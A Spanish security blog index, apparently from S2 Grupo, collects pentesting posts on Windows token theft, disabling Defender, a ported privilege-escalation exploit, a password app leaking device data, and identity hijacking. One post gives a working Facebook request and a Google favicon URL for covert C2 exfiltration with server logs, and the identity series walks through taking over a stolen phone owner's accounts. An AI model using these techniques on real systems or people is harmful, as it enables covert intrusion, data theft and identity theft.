Steal ’em all! Token impersonation

Durante un proceso de intrusión, el robo de Tokens y la impersonación de usuarios nos puede ser de gran ayuda, ahorrándonos mucho tiempo y favoreciendo el permanecer lo más sigilosos posibles utilizando tan solo las capacidades y herramientas que el propio sistema operativo Microsoft Windows nos ofrece.

Antes de comenzar y a modo de recordatorio, un Token dentro del sistema operativo Microsoft Windows es un elemento de seguridad que dota de identificación a procesos e hilos cuando estos quieren realizar acciones sobre objetos securizables del sistema (ficheros, registros, servicios…).

En las siguientes líneas vamos a ver cómo es posible robar el Token de casi cualquier proceso en ejecución en el equipo utilizando tan solo dos técnicas diferentes, siempre y cuando tengamos los privilegios y permisos necesarios para poder llevarlo a cabo.

Como todo en este mundo parte de un trabajo previo, el reto y la inspiración de la investigación partió de este magnífico post de Justin Bui (@slyd0g) de SpecterOps, del que rebatiremos algunas de sus conclusiones, así como el de Chintan Shah de MacAfee  “Technical Analysis of Access TokenTheft and Manipulation”, el cual referencia al primero.

Pero ¿por qué nos puede interesar robar un token de un proceso o hilo concreto del sistema?

La respuesta rápida y corta es para elevar privilegios y realizar acciones que con el token actual no podemos llevar a cabo o para movernos lateralmente hacia otro equipo de la red. Un ejemplo de lo primero lo tenéis en el anterior post “TrustedInstaller, parando Windows Defender”, aunque ahora veremos alguno más.

[Read more…]

TrustedInstaller, parando Windows Defender

A menudo, durante un proceso de intrusión puede sernos de utilidad disponer de la capacidad de deshabilitar las medidas de defensa del equipo objetivo. Para aquellos pentesters que ya hayan probado las mieles de la solución de seguridad embarcada por defecto en los sistemas operativos de Microsoft, Windows Defender, estarán de acuerdo conmigo que ha mejorado sustancialmente desde sus primeras releases, en especial las últimas versiones con capacidad en nube para Windows 10. Por lo tanto, es muy probable que nos enfrentemos a este antivirus durante un proceso de intrusión, más pronto o más tarde.

De forma muy resumida, el componente principal de Windows Defender es el servicio “WinDefend”, encargado de lanzar el proceso de monitorización continua “MsMpEng.exe” y cargar su motor “mpengine.dll”, por lo tanto si somos capaces de parar ese servicio, estaremos deteniendo su ejecución en gran medida.

[Read more…]

Win7, 8, 10, 2008, 2012 32/64bits exploit programador de tareas vía ALPC (CVE-2018–8440)

Hace ya un par de meses, el 27 de agosto de 2018, la investigadora de seguridad “SandboxEscaper” liberó un exploit de escalda de privilegios a SYSTEM para entornos Windows 10 64bits y que fue catalogada como CVE-2018-8440, con su consecuente parche en septiembre. Desde entonces sentía curiosidad por darle un vistazo al exploit y probarlo en otras versiones de Windows. Inicialmente, como es normal, no funcionó. Busqué por la red si existía alguna PoC modificada que lo hiciera, pero salvo algunos tweets con alguna pista, no encontré nada realmente funcional, así que me decidí a ver que se podía hacer. Después de echarle algunas horas y de varias broncas con la parienta, a continuación os muestro mi aproximación para portar el exploit a Win7, 8, 10, 2012 32/64bits, haciéndolo más generalista y estable que la versión original.

En primer lugar, vamos a ver en que consiste la vulnerabilidad y posteriormente el exploit. No voy a profundizar en ello ya que numerosos blogs ya han comentado el problema. Por último detallaremos la investigación realizada hasta llegar a hacer el exploit portable. [Read more…]

Kypass para iOS. ¿Están mis contraseñas seguras?

Todos somos conocedores del valor de nuestras credenciales o contraseñas, esas llaves que nos dan acceso a parte de nuestra vida digital. No es extraño encontrarse durante los procesos de pentesting los típicos documentos “.txt”, Excel o Word con todos los passwords de acceso a los sistemas TI. Es más, cuando parte del proceso de intrusión se focaliza en el departamento financiero es habitual ver como un señor director contable guarda todas las contraseñas de acceso a las cuentas bancarias en un fichero de texto plano, adjuntando para mayor disfrute una copia escaneada de la tarjeta de coordenadas (ver Barbarities I: Banca electrónica).

Es por eso que siempre se recomienda el uso de aplicaciones de gestión de contraseñas que permitan almacenar de forma segura las llaves del reino. En este punto entraría ya en juego seleccionar, según criterios de confiabilidad si no te la quieres auditar tú), qué aplicación debe ser la encargada de cifrar nuestra información confidencial. Son numerosas las herramientas (de pago o de software libre) disponibles en el mercado y una de ellas puede ser la popular Keepass bajo licencia GNU. Según su página Web, el cifrado de la base de datos se realiza con un algoritmo AES o Twofish con un tamaño de bloque de 128bits y una longitud de clave de 256 bits, seems good.

Dada la popularidad que ha tomado esta herramienta, han surgido una serie de ports para diferentes operativos y dispositivos que, aprovechando el tirón de esta, tratan de hacer su negocio.

keepass-ios

keepass-ios-2En especial nos vamos a centrar en la aplicación de pago para iOS Kypass, que por el módico precio de 6,99€, promete dotar de un nivel de seguridad similar a “Fort Knox” a nuestras contraseñas.

Llegados a este punto, ¿qué requerimientos de seguridad le exigiríamos a un software de este tipo? Por ejemplo, ¿le exigiríamos que no realizara conexiones a Internet de forma no cifrada? Como por ejemplo…

POST http://www.kyuran.be

Aparentemente, estas peticiones se realizan de forma semanal a la web de los desarrolladores de la aplicación (invito al lector a visitarla). Os preguntaréis: ¿Para qué? ¿Para comprobar la versión y saber si se ha de actualizar? ¿Esto no se debería hacer a través del AppStore?

Veamos un poco más en detalle la información que remite. Pese a que las peticiones son de tipo POST, como parámetros en la URL vemos lo siguiente (separado para mejor lectura).

http://www.kyuran.be:3128/iphone/api.php?
UIDeviceName=iPhone+de+XXX
bundle=be.kyuran.kypass2
token=b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c
s=10.0.2
v=3.7+(2764)
cmd=join

¿Para qué necesita una aplicación de almacenamiento de contraseñas remitir a los desarrolladores información como el nombre del teléfono, el nombre del paquete, el identificador único del terminal, la versión del operativo o el comando que ha de ejecutar contra el servidor (en este caso join)?

Destacar que como payload POST no se ha identificado el envío de otro tipo información pero quién sabe qué otros comandos permitirá el parámetro “cmd=” al margen de “join”.

Concluyendo, y como se ha comentado al principio del artículo, uno no dispone de todo el tiempo del mundo para auditar cada software que utiliza y por lo tanto entra en juego la confiabilidad basada en: el feeling que te pueda dar el desarrollador, si el código es libre o no, comentarios o popularidad de la herramienta dentro del mundo de la seguridad, etc.

Desde mi punto de vista personal, dada la criticidad de este tipo de software y basándome en esa comentada confiabilidad, optaría por otras soluciones de almacenamiento de contraseñas.

RootedCON Valencia Labs

logo_vlc

En este caso el dicho popular “segundas partes nunca fueron buenas” no se cumplió. Repitiendo el éxito del año pasado la organización de la rooted trajo a tierras valencianas un buen elenco de profesionales de la seguridad para presentar sus últimos trabajos. Como en años anteriores, S2 Grupo ha participado como espónsor del congreso, mostrando así nuestro compromiso con la seguridad.

[Read more…]

OpenDLP para pentesters

odlp0Ser administrador del dominio o disponer de credenciales de acceso con máximos privilegios a repositorios de ficheros, bases de datos o sistemas ERP no sirve de mucho a la hora de plasmar los riesgos de la organización auditada en un informe, ya que “negocio”, muchas veces, no concibe las consecuencias que puede suponer el disponer de tales capacidades.

Es por eso que después de la fase de explotación y elevación de privilegios, comienza desde mi punto de vista la más importante de todas, la de obtención de información y toma de evidencias. De nada sirve conseguir ser administrador de un dominio Windows si no se pueden obtener datos sensibles o ejecutar acciones que puedan suponer un impacto para el auditado. Es en este momento donde entra en juego esta simple pero potentísima herramienta: OpenDLP.

Este software, que se despliega mediante un GUI Web en la máquina del pentester, permite realizar búsquedas masivas de información en miles de equipos de forma simultánea y con una baja carga, tanto para la máquina objetivo como para el equipo del auditor. A diferencia del buscador de Windows que identifica los patrones de búsqueda en los nombres de los documentos, OpenDLP permite inspeccionar el contenido de los ficheros mediante expresiones regulares. Como su nombre indica es un DLP o herramienta de prevención de fuga de información, pero la verdad es que dista mucho de las capacidades de las soluciones comerciales, por lo que para este propósito no lo recomendaría. Sin embargo descaradamente, OpenDLP ha sido desarrollado para cubrir la fase comentada anteriormente, dentro de un test de intrusión.

[Read more…]

Barbarities I: Banca electrónica

– Con este post me gustaría inaugurar una nueva sección en SAW llamada Barbarities, destinada a albergar cual pozo ciego, todas aquellas atrocidades que desde el punto de vista de seguridad uno ha ido viendo con el paso de los años. Se anima al lector a que comparta sus experiencias –

Barbarities… Hoy: La banca electrónica.

Los bancos, dentro de lo que cabe, hacen un esfuerzo por entregar a sus clientes medidas de protección ante el fraude y robo online a la hora de operar a través de sus páginas web o apps móviles. Códigos de validación de transacción por SMS, uso de https (qué menos…), teclados virtuales anti Click-hacking o tarjetas de coordenadas son solo algunos ejemplos de estas protecciones.

[Read more…]

APT: bot exfiltration

Dentro del mundo de las amenazas avanzadas persistentes o APTs, juegan un papel muy importante las técnicas utilizadas por los artefactos malware, para comunicarse y exfiltrar información a través de los C2s (Command & Control). En este aspecto existen tantas formas como imaginación pueda aportar el atacante y como protocolos y servicios existan. Un pequeño ejemplo de los “trucos” para enmascarar el tráfico ilegítimo como información aparentemente normal son:

  • Peticiones HTTP a páginas aparentemente lícitas, las cuales han sido crackeadas, albergando código del C2.
  • Sobreutilización del protocolo DNS para exfiltrar y comunicarse con los atacantes.
  • Sobreutilización de Google Calendar.

La lista anterior puede ser tan larga casi como campañas APT han existido y existen. En este post me gustaría aportar una nueva forma de exfiltración en la cual el equipo infectado y el C2 en ningún momento intercambian información directamente, sino que lo hacen a través de la legión de bots que los grandes gigantes de Internet disponen. Estos son Google, Facebook o Twitter entre otros.

¿Para qué sirven o qué función tienen estos bots? En el caso de Facebook, esta compañía dispone de una serie de agentes utilizados para realizar una previsualización del contenido de un enlace cuando se postea un comentario en esta red social. De esta manera, es posible presentar al usuario de una forma más amigable el contenido Web enlazado. Así, cuando el enlace es recibido por Facebook éste “ordena” a sus bots que visiten dicha URL extrayendo información de la web asociada.

El lector ya se habrá dado cuenta que controlando la URL a la cual queremos que los bots se conecten, disponemos de una forma de remitir información a un dominio propiedad del atacante, redirigiendo la petición a través de Facebook. De esta manera, ya tenemos el primer canal de comunicación “Equipo infectado” -> “C2”. Esta petición pasará totalmente desapercibida para los posibles analistas de seguridad del organismo víctima, ya que realmente son peticiones realizadas contra la red social.

El primer impedimento encontrado para ejecutar la redirección fue que necesitaba tener una cuenta de Facebook válida y estar autenticado para poder postear. Revisando un poco más a fondo por la documentación del “Caralibro” encontré la solución para poder postear sin estar autenticado. Esa magia la aportó la sección de “Developers”. A continuación, os dejo la petición GET para controlar los bots de Facebook a vuestro antojo, visitando todo aquello que vosotros les remitáis.

https://www.facebook.com/plugins/comments.php
?api_key=113869198637480
&channel_url=http://static.ak.fbcdn.net/connect/xd_proxy.php?version=3#cb=f10df33f48&
origin=http://developers.facebook.com/f29957fd8&relation=parent.parent&transport=postmessage
&href=DOMINIO A VISITAR
&locale=en_US
&numposts=2
&sdk=joey
&width=500

Un avispado ya se habrá dado cuenta que esto no sólo puede ser utilizado para exfiltrar información sino para por ejemplo realizar ataques de DoS encubiertos o aumentar contadores de visitas. Como ejemplo, os dejo el log de mi apache, tras decirle a Facebook que visite mi web.

66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" 
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-"
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/spotlight.jpg HTTP/1.1" 206 2582 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_4.jpg HTTP/1.1" 206 1356 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome-18.jpg HTTP/1.1" 206 8889 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1      
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome.jpg HTTP/1.1" 206 3987 
   "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.112 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-11.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.117 - - [30/Oct/2014:11:45:17 +0100] "GET /images/services.jpg HTTP/1.1" 206 2794 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" 
    "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-" 
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"

La verdad es que se puede conseguir una buena amplificación, ya que una sola petición a Facebook generó 43 GETs de 10 bots distintos a la web destino. Pero no quiero desviarme del tema, que estamos a APTs.

Ahora que tenemos la forma de exfiltrar necesitamos poder remitir comandos de control a los equipos infectados en la organización víctima. Para esta parte nos van a ayudar los bots de Google, los cuales también podemos controlar para que no sólo visiten lo que nosotros queramos sino que además le remitan por nosotros a los equipos infectados las ordenes a realizar.

Normalmente cuando un C2 quiere ejecutar un comando en la víctima la comunicación no se hace en el sentido C2 -> “equipo infectado” sino al revés, siendo el portador del malware el que inicia comunicación.

Pues bien, Google dispone de una url por la que, dado un dominio, ésta te devuelve el favicon del mismo, lo que resulta perfecto para remitir en el mismo las órdenes a ejecutar en el equipo infectado.

http://www.google.com/s2/favicons?domain=DOMINIO-A-VISITAR

Una vez ejecutada, podemos ver en el log del C2 la siguiente petición realizada por el bot:

66.249.93.181 - - [31/Oct/2014:13:36:22 +0100] "GET / HTTP/1.1" 200 2961 "-" 
   "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"
66.249.93.178 - - [31/Oct/2014:13:36:23 +0100] "GET /favicon.ico HTTP/1.1" 200 1703 "-" 
   "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"

En este favicon podemos, por ejemplo con técnicas estenográficas, incluir la información de control remitida al equipo infectado. Así pues, tenemos establecida una comunicación bidireccional con los C2 sin establecer en ningún momento un canal directo entre equipos infectados y equipos de mando y control, perfecto para pasar desapercibidos.

Cómo secuestrar la identidad digital de una persona (III)

Seguimos con la sangría, después de suplantar su identidad en Gmail, en Facebook y en Spotify, en las dos entradas anteriores de esta serie.

Ahora vamos ahora a por su operador móvil, en este punto, el proceso de recuperación de contraseña es todavía más fácil, ya que nos va a remitir la compañía ¡un SMS gratuito! (¡bien! por lo menos no le cobraran al pobre chaval), mediante el cual se podrá acceder a la parte de gestión de la cuenta.

Y… ¿qué se puede hacer en la parte de clientes…? No me va hacer falta ni escribirlo ahí lo tienen:

De este servicio nos puede interesar la obtención de su DNI, para hacer posibles logins en otras Webs o incluso sustraer parte de su número de cuenta bancaría.

¿Cómo obtenemos su cuenta bancaria completa? Pues accediendo simplemente a un par de servicios donde venga recogida. Lo de un par es porque normalmente esa información va enmascarada en parte con una serie de ****, pero lo bueno es que cada proveedor (página) tapa una parte, aquí tenéis un ejemplo de Pepephone.

No voy a comentar ni siquiera el peligro que tiene hacerse con la cuanta de Amazon… pero ahí va lo que necesitas para “recuperar/secuestrar” una cuenta…

Por último porque esto puede ser un no parar, vamos a por los servicios de la administración pública 060.es, esto es lo necesario para poder recuperar la contraseña del usuario:

Seguramente que a nuestros lectores, llegado a este punto, se le ocurren mil sitios/servicios más que se pueden suplantar o secuestrar, pudiendo hacer mucho daño a una simple persona que tan solo había ido al cine a ver su película favorita.

Recordar también, la importancia de establecer un código o patrón de acceso al terminal y proceder a su borrado remoto en caso de pérdida.

Cómo secuestrar la identidad digital de una persona (II)

Siguiendo desde donde nos quedamos con la anterior entrada: Cómo secuestrar la identidad digital de una persona (I).

¿Y qué tal si para probar compramos un Nexus 5? Tras hacer login en la web de Google Wallet y añadir una nueva dirección de envío (la mía claro), procedemos a hacer la compra:

Ya tengo un segundo móvil nuevo, pero continuemos para bingo, lo siguiente que haríamos es secuestrarle las cuentas de sus redes sociales, por ejemplo vamos a probar con Facebook, siendo aplicable al resto de ellas (LinkedIn, Twitter…).

Aquí podemos hacer 2 cosas para obtener el usuario de Facebook, o bien mirarlo en la propia aplicación del móvil sustraído o utilizar un pequeño truco en la página web de esta red social. El truco consiste en dado un correo electrónico obtener su usuario asociado, utilizando para ello el formulario de “¿Has olvidado tu contraseña?”

Como ejemplo he utilizado un correo electrónico totalmente aleatorio peter12@gmail.com el cual dada la gran cantidad de usuarios que Facebook posee existe como perfil. Animo al lector cuando se aburra a introducir algunos de forma aleatoria, suele ser interesante ver las fotos y nombres que la gente se pone.

En nuestro caso no hubiéramos puesto el correo de “peter12” sino la cuenta de Gmail obtenida del teléfono. Como pueden ver en la imagen anterior, en la segunda opción nos invita a enviarnos un enlace de cambio de contraseña a nuestra cuenta de correo previamente secuestrada. Magnífico ya tenemos su Facebook, nuevamente ¿qué podemos hacer con una cuenta de Facebook…? Pues en primer lugar tocarle el bolsillo por ejemplo comprando en su nombre servicios de esta red (siempre que tuviera claro, la tarjeta de crédito previamente introducida).

Continuamos para Bingo… ¿Qué más se puede hacer con una cuenta de Facebook?, pues como esto de la autenticación con una única cuenta está de moda y gracias a esta red social es posible hacer login con sus credenciales en numerosas Webs, vamos por ejemplo a secuestrarle su cuenta de Spotify. Destacar que podríamos hacernos con cualquier servicio que utilice Facebook como validador.

Pero no todo queda aquí, ¿y si vamos ahora a por su operador móvil?

Más información en la próxima entrada.